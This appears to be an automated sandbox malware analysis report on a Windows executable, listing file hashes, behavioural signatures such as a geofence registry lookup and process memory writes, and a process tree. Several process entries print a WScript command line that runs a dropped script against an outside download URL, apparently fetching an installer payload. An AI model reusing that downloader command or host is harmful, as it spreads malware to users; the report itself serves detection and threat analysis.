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Analysis
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max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
28/05/2024, 03:38
Static task
static1
Behavioral task
behavioral1
Sample
7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe
Resource
win10v2004-20240508-en
General
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Target
7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe
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Size
184KB
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MD5
7b90883639a53ba78eef7aadaa09cfc2
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SHA1
81210a51358323834fe571e0c386420104761cf8
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SHA256
93b72cfacb6d8830d67d36633cc082b46d8369a814abb50d1b6901631b6fe433
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SHA512
9f8fffbc2e08f35b519c359dfe546f7d861ac6ad2f3cefa2236f89f7d9c1dd73f688eb0a3fb871ed761c124efada7869f9aaa5f49b46c9cc78ac378e0918c55e
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3a:/7BSH8zUB+nGESaaRvoB7FJNndn7
Malware Config
Signatures
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Blocklisted process makes network request 7 IoCs
flow pid Process 6 2596 WScript.exe 33 1948 WScript.exe 36 1948 WScript.exe 38 3596 WScript.exe 53 3476 WScript.exe 55 1292 WScript.exe 56 1292 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation 7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 2748 3456 WerFault.exe 82 -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings 7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 3456 wrote to memory of 2596 3456 7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe 83 PID 3456 wrote to memory of 2596 3456 7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe 83 PID 3456 wrote to memory of 2596 3456 7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe 83 PID 3456 wrote to memory of 1948 3456 7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe 97 PID 3456 wrote to memory of 1948 3456 7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe 97 PID 3456 wrote to memory of 1948 3456 7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe 97 PID 3456 wrote to memory of 3596 3456 7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe 98 PID 3456 wrote to memory of 3596 3456 7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe 98 PID 3456 wrote to memory of 3596 3456 7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe 98 PID 3456 wrote to memory of 3476 3456 7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe 102 PID 3456 wrote to memory of 3476 3456 7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe 102 PID 3456 wrote to memory of 3476 3456 7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe 102 PID 3456 wrote to memory of 1292 3456 7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe 103 PID 3456 wrote to memory of 1292 3456 7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe 103 PID 3456 wrote to memory of 1292 3456 7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe 103
Processes
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C:\Users\Admin\AppData\Local\Temp\7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\7b90883639a53ba78eef7aadaa09cfc2_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3456 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf471B.js" http://www.djapp.info/?domain=mHwqTcrhwD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf471B.exe2⤵
- Blocklisted process makes network request
PID:2596
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf471B.js" http://www.djapp.info/?domain=mHwqTcrhwD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf471B.exe2⤵
- Blocklisted process makes network request
PID:1948
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf471B.js" http://www.djapp.info/?domain=mHwqTcrhwD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf471B.exe2⤵
- Blocklisted process makes network request
PID:3596
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf471B.js" http://www.djapp.info/?domain=mHwqTcrhwD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf471B.exe2⤵
- Blocklisted process makes network request
PID:3476
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf471B.js" http://www.djapp.info/?domain=mHwqTcrhwD.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf471B.exe2⤵
- Blocklisted process makes network request
PID:1292
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3456 -s 13282⤵
- Program crash
PID:2748
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3456 -ip 34561⤵PID:1492
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76